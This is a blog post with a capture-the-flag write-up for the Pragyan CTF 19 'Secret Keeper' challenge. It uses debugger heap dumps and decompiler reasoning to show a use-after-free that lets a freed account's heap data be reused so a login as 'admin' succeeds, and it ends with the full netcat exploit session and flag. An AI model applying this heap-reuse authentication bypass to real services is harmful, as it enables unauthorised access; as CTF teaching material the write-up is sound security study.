티스토리 뷰

Linux Exploiting

Secret Keeper - Pragyan CTF 19

사용자 Naivenom 2019.03.09 07:13

Write-up - Use After Free

PKTeam
1. Register

We start registering a user AAAA. 
   0x555555554ac3          lea    rax, [rbp-0x60]
   0x555555554ac7          lea    rsi, [rip+0x695]        # 0x555555555163
   0x555555554ace          mov    rdi, rax
   0x555555554ad1          call   0x5555555548b0 

We see a comparison of our input in RAX register. This register contains a memory address of the stack that contains the AAAA input. In RSI register we have the string "admin". Therefore, the two strings are compared to check if the user is an admin or not.Then the program asks us for a password o we put BBBB. After compare the username lenght with 0x13 and we can deduce that it checks the length of the string and if it exceeds it is illegal inputs. It also does the same with the password.

Malloc function is called and the heap pointer is in the stack rbp-0x88. Then create another malloc with this displacement in RAX register: mov QWORD PTR [rax + 0x8], rdx.


Before the instruction:

gef➤  x/20xw $rax+0x8
		0x555555757a88:	0x00000000	0x00000000	0x00000000	0x00000000
		0x555555757a98:	0x00000000	0x00000000	0x00000000	0x00000000

After the instruction:

gef➤  x/20xw $rax+0x8
		0x555555757a88:	0x55757ad0	0x00005555	0x00000000	0x00000000
		0x555555757a98:	0x00000000	0x00000000	0x00000000	0x00000000

Basically it stores in the first malloc with a displacement of 0x8, the memory address of the second malloc.

Now another malloc is called and the memory address of the third malloc moves to the first malloc (without displacement).

0x555555554b84          mov    rax, QWORD PTR [rbp-0x88]
0x555555554b8b          mov    QWORD PTR [rax], rdx
gef➤  x/20xw $rax
0x555555757a80:	0x55757af0	0x00005555	0x55757ad0	0x00005555
0x555555757a90:	0x00000000	0x00000000	0x00000000	0x00000000

This is the heap memory currently:

gef➤  x/30xw 0x0000555555757a80
	0x555555757a80:	0x55757af0	0x00005555	0x55757ad0	0x00005555
	0x555555757a90:	0x00000000	0x00000000	0x00000000	0x00000000
	0x555555757aa0:	0x00000000	0x00000000	0x00000000	0x00000000
	0x555555757ab0:	0x00000000	0x00000000	0x00000000	0x00000000
	0x555555757ac0:	0x00000000	0x00000000	0x00000021	0x00000000
	0x555555757ad0:	0x00000000	0x00000000	0x00000000	0x00000000
	0x555555757ae0:	0x00000000	0x00000000	0x00000021	0x00000000
	0x555555757af0:	0x00000000	0x00000000

Then the strcpy function is executed twice to copy the user and password to the heap:

gef➤  x/30xw 0x0000555555757a80
0x555555757a80:	0x55757af0	0x00005555	0x55757ad0	0x00005555
0x555555757a90:	0x00000000	0x00000000	0x00000000	0x00000000
0x555555757aa0:	0x00000000	0x00000000	0x00000000	0x00000000
0x555555757ab0:	0x00000000	0x00000000	0x00000000	0x00000000
0x555555757ac0:	0x00000000	0x00000000	0x00000021	0x00000000
0x555555757ad0:	0x42424242	0x00000000	0x00000000	0x00000000
0x555555757ae0:	0x00000000	0x00000000	0x00000021	0x00000000
0x555555757af0:	0x41414141	0x00000000

2. Login


2.1 Login == admin OR NOT

The program asks us to enter a username and password. We introduce the already created ones.


2.2 .Store your secret info

Nothing

2.3.View the secret

Nothing


2.4.Delete Account

We select this option for trigger free function call.


2.5.Logout


After free function is called we register a new user 11112222:33334444 and realize that the password of this new user will be the username of the previously created user. Boom! Bug. We also know doing a bit of reversing that the legitimate user to be able to see the flag.txt once logged in is the user admin. But of course the user admin if we log in first time, the password reads it from a password.txt file so how we can bypass this?

gef➤  x/80xw 0x0000555555757a80
0x555555757a80:	0x55757af0	0x00005555	0x55757ad0	0x00005555
0x555555757a90:	0x61616161	0x62626262	0x00000000	0x00000000
0x555555757aa0:	0x00000000	0x00000000	0x00000000	0x00000000
0x555555757ab0:	0x00000000	0x00000000	0x00000000	0x00000000
0x555555757ac0:	0x00000000	0x00000000	0x00000021	0x00000000
0x555555757ad0:	0x43434343	0x44444444	0x00000000	0x00000000
0x555555757ae0:	0x00000000	0x00000000	0x00000021	0x00000000
0x555555757af0:	0x33333333	0x34343434	0x00000000	0x00000000
0x555555757b00:	0x00000000	0x00000000	0x00000051	0x00000000
0x555555757b10:	0x55757b60	0x00005555	0x55757af0	0x00005555
0x555555757b20:	0x00000000	0x00000000	0x00000000	0x00000000
0x555555757b30:	0x00000000	0x00000000	0x00000000	0x00000000
0x555555757b40:	0x00000000	0x00000000	0x00000000	0x00000000
0x555555757b50:	0x00000000	0x00000000	0x00000021	0x00000000
0x555555757b60:	0x31313131	0x32323232	0x00000000	0x00000000
0x555555757b70:	0x00000000	0x00000000	0x00020491	0x00000000
0x555555757b80:	0x00000000	0x00000000	0x00000000	0x00000000
0x555555757b90:	0x00000000	0x00000000	0x00000000	0x00000000
0x555555757ba0:	0x00000000	0x00000000	0x00000000	0x00000000
0x555555757bb0:	0x00000000	0x00000000	0x00000000	0x00000000

Simply if we put in the second user created password admin will be the name of the previous user. 


3. Understanding the bug using GHIDRA Decompiler

For now we have to raise the strategy. 

  • First of all is related to the name of the user that must be admin to read the flag.txt
  • If we choose at first time the user admin reads a local file password.txt to compare the password entered with the file. So in remote server we can not exploit it. 
  • We can not register an user with the name of admin and if we login with admin:AAAA when program does the corresponding comparisons between the stack and the heap will not match and can not log in. 


The key is that the variable local_b8 will be different to zero and the only way is to make a successful login. To make a successful login, we must carry out the strategy before creating a user AAAABBBB:CCCCDDDD then log in with the user and delete it to call free() function. Once this is done if we register a new user as 11112222:admin the password of this user will be the name of the old user and then in while loop makes the comparisons between the heap and the stack, it will match and we will have the login done as admin. Boom!! Logged in successfully with admin as username. And now the program set the variable local_b8 that we needed to enter in else comparison and the "Welcome" message it will be executed . Finally, as our username is admin, the comparison will be fulfilled and we will read the flag. Pwned!



Exploit:naivenom@pwn:~/ctf/pragyan$ nc 159.89.166.12 12000
############### Secure Secret Keeper ##########
1.Register
2.Login
3.Exit
Choice:1
Enter User_name : AAAABBBB
Enter Password : CCCCDDDD
User: AAAABBBB
Pass:CCCCDDDD
**************User Successfully Created*****************

############### Secure Secret Keeper ##########
1.Register
2.Login
3.Exit
Choice:2
Enter User_name : AAAABBBB
Enter Password : CCCCDDDD
Logged in successfully......


 Welcome AAAABBBB

1.Store your secret info
2.View the secret
3.Delete Account
4.Logout
3
******** User Successfully Deleted *************

############### Secure Secret Keeper ##########
1.Register
2.Login
3.Exit
Choice:1
Enter User_name : 11112222
Enter Password : admin
User: 11112222
Pass:admin
**************User Successfully Created*****************

############### Secure Secret Keeper ##########
1.Register
2.Login
3.Exit
Choice:2
Enter User_name : admin
Enter Password : CCCCDDDD
Logged in successfully......


 Welcome admin

Flag is: pctf{"ThiS_S3rV1ce-1s$t0T411Y-cR4p_But_w3_34Rn_$$_4nyWaYs"}


'Linux Exploiting' 카테고리의 다른 글

Armoury - Pragyan CTF 19  (2) 2019.03.10
Secret Keeper - Pragyan CTF 19  (0) 2019.03.09
Trigger return NULL value in Malloc  (0) 2019.02.28
Brainfuck - GOT Dereferencing / Overwriting, ASLR/NX Bypass  (0) 2019.02.28
Basics Return-oriented programming  (0) 2019.02.28
Unlink  (0) 2019.02.28
댓글
댓글쓰기 폼